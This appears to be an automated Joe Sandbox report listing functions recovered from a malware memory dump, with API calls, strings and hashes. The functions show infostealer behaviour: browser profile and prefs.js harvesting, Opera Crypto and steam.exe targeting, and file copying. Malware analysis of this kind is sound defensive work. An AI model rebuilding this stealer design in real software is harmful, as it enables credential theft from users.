Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction ID: c1d95bee058df7d0eb72bc71505ae5be25a1286d1fed2c65958a37403167da66
Opcode Fuzzy Hash: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction Fuzzy Hash: A251EA72800218AFDF15EFA1ED498EE7FBAFF08315F145425F901E2120E7369A55DB61

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA64,0043AA68,004369EE,004369EB,00417A18,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA6C), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA70), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA74,0043AA78,?,0043AA7C,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416FA7: Sleep.KERNEL32(000003E8,?,?), ref: 0041700E

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction ID: 6e187b3dd7c688dd3e2975bf598ceb31540ecf4cce5f896a17779636691c6a6b
Opcode Fuzzy Hash: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction Fuzzy Hash: 1A320E71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB8AFC98F98

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction ID: 497a639e9f9bed764e2b609cea13bbac8422ccb0898e6bf0b5073c566259866f
Opcode Fuzzy Hash: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction Fuzzy Hash: 4F515FB190021C9BCF64DF60CC89AC9B7BDAB48305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

\*.*, xrefs: 0040BF73
Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction ID: 0260d5c266de210f65568f4b73986d2e2321fdcb1199aff99a3b39d86c03169e
Opcode Fuzzy Hash: 52ecbd5b4a38551fbf1eff65d9ccd163c8eed750bdefbe09ee6b3e091a2c5729
Instruction Fuzzy Hash: F4021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_FIXED%, xrefs: 00415230
*%DRIVE_REMOVABLE%*, xrefs: 0041518F
*%DRIVE_FIXED%*, xrefs: 0041515E
%DRIVE_REMOVABLE%, xrefs: 00415215

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction ID: ea4f15970c6a5d4b45be7a2176528fb80d3ae30a0f48c86a9c416c7322ab13a3
Opcode Fuzzy Hash: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction Fuzzy Hash: 3C512CB190021CAFDF219FA1CC85BDA7BB9FB05304F1041AAEA49A7111EB355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction ID: 52904dbdec7a8812f0d6252b7ecd21146621a6019d038770ccdf13318407303e
Opcode Fuzzy Hash: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction Fuzzy Hash: D3A10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction ID: e9d49ef9ce8a2bc9a117d4fe253b15a3b51ee7ef692749dde95bb5dd1480248d
Opcode Fuzzy Hash: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction Fuzzy Hash: A0812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction ID: a3cdee16b5dfd04d3bd918c7eedd9f2c5ccf5c1b7225a83da59ac7103b0bc528
Opcode Fuzzy Hash: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction Fuzzy Hash: 81012170A01224DFDB60DB64DD45BDE77B9AF09311F4011E6E409E2290EB398B81CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
